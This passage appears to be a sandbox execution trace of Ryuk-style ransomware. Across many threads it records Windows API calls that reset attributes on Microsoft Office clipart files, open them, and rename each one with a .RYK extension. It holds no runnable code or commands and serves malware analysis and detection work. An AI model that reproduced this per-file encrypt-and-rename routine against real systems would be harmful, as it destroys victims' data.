	[0268.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3356
	os_tid = 0x395c

	[0268.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF", dwFileAttributes=0x80) returned 0
	[0268.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.287] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.287] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3363
	os_tid = 0x397c

	[0268.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF", dwFileAttributes=0x80) returned 0
	[0268.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.289] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3364
	os_tid = 0x3980

	[0268.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF", dwFileAttributes=0x80) returned 0
	[0268.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.292] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3365
	os_tid = 0x3984

	[0268.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF", dwFileAttributes=0x80) returned 0
	[0268.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3366
	os_tid = 0x3988

	[0268.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF", dwFileAttributes=0x80) returned 0
	[0268.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00601G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00601g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3367
	os_tid = 0x398c

	[0268.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP", dwFileAttributes=0x80) returned 0
	[0268.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.312] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH00780U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph00780u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3368
	os_tid = 0x3990

	[0268.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP", dwFileAttributes=0x80) returned 0
	[0268.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01035U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01035u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3369
	os_tid = 0x3994

	[0268.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG", dwFileAttributes=0x80) returned 0
	[0268.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.644] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3370
	os_tid = 0x3998

	[0268.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG", dwFileAttributes=0x80) returned 0
	[0268.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01179J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01179j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3371
	os_tid = 0x399c

	[0268.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG", dwFileAttributes=0x80) returned 0
	[0268.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.641] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.641] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3372
	os_tid = 0x39a0

	[0268.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG", dwFileAttributes=0x80) returned 0
	[0268.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3373
	os_tid = 0x39a4

	[0268.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP", dwFileAttributes=0x80) returned 0
	[0268.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3374
	os_tid = 0x39a8

	[0268.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP", dwFileAttributes=0x80) returned 0
	[0268.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3375
	os_tid = 0x39ac

	[0268.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG", dwFileAttributes=0x80) returned 0
	[0268.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.023] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3376
	os_tid = 0x39b0

	[0268.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP", dwFileAttributes=0x80) returned 0
	[0268.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3377
	os_tid = 0x39b4

	[0268.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF", dwFileAttributes=0x80) returned 0
	[0268.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3378
	os_tid = 0x39b8

	[0268.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP", dwFileAttributes=0x80) returned 0
	[0268.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.021] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3379
	os_tid = 0x39bc

	[0268.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP", dwFileAttributes=0x80) returned 0
	[0268.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.020] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3380
	os_tid = 0x39c0

	[0268.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP", dwFileAttributes=0x80) returned 0
	[0268.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.019] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.019] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3381
	os_tid = 0x39c4

	[0268.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", dwFileAttributes=0x80) returned 0
	[0268.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.018] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3382
	os_tid = 0x39c8

	[0268.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP", dwFileAttributes=0x80) returned 0
	[0268.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3383
	os_tid = 0x39cc

	[0268.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG", dwFileAttributes=0x80) returned 0
	[0268.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.016] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3384
	os_tid = 0x39d0

	[0268.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG", dwFileAttributes=0x80) returned 0
	[0268.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0269.015] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0269.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3385
	os_tid = 0x39d4

	[0268.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP", dwFileAttributes=0x80) returned 0
	[0268.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3386
	os_tid = 0x39d8

	[0268.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP", dwFileAttributes=0x80) returned 0
	[0268.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3387
	os_tid = 0x39dc

	[0268.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG", dwFileAttributes=0x80) returned 0
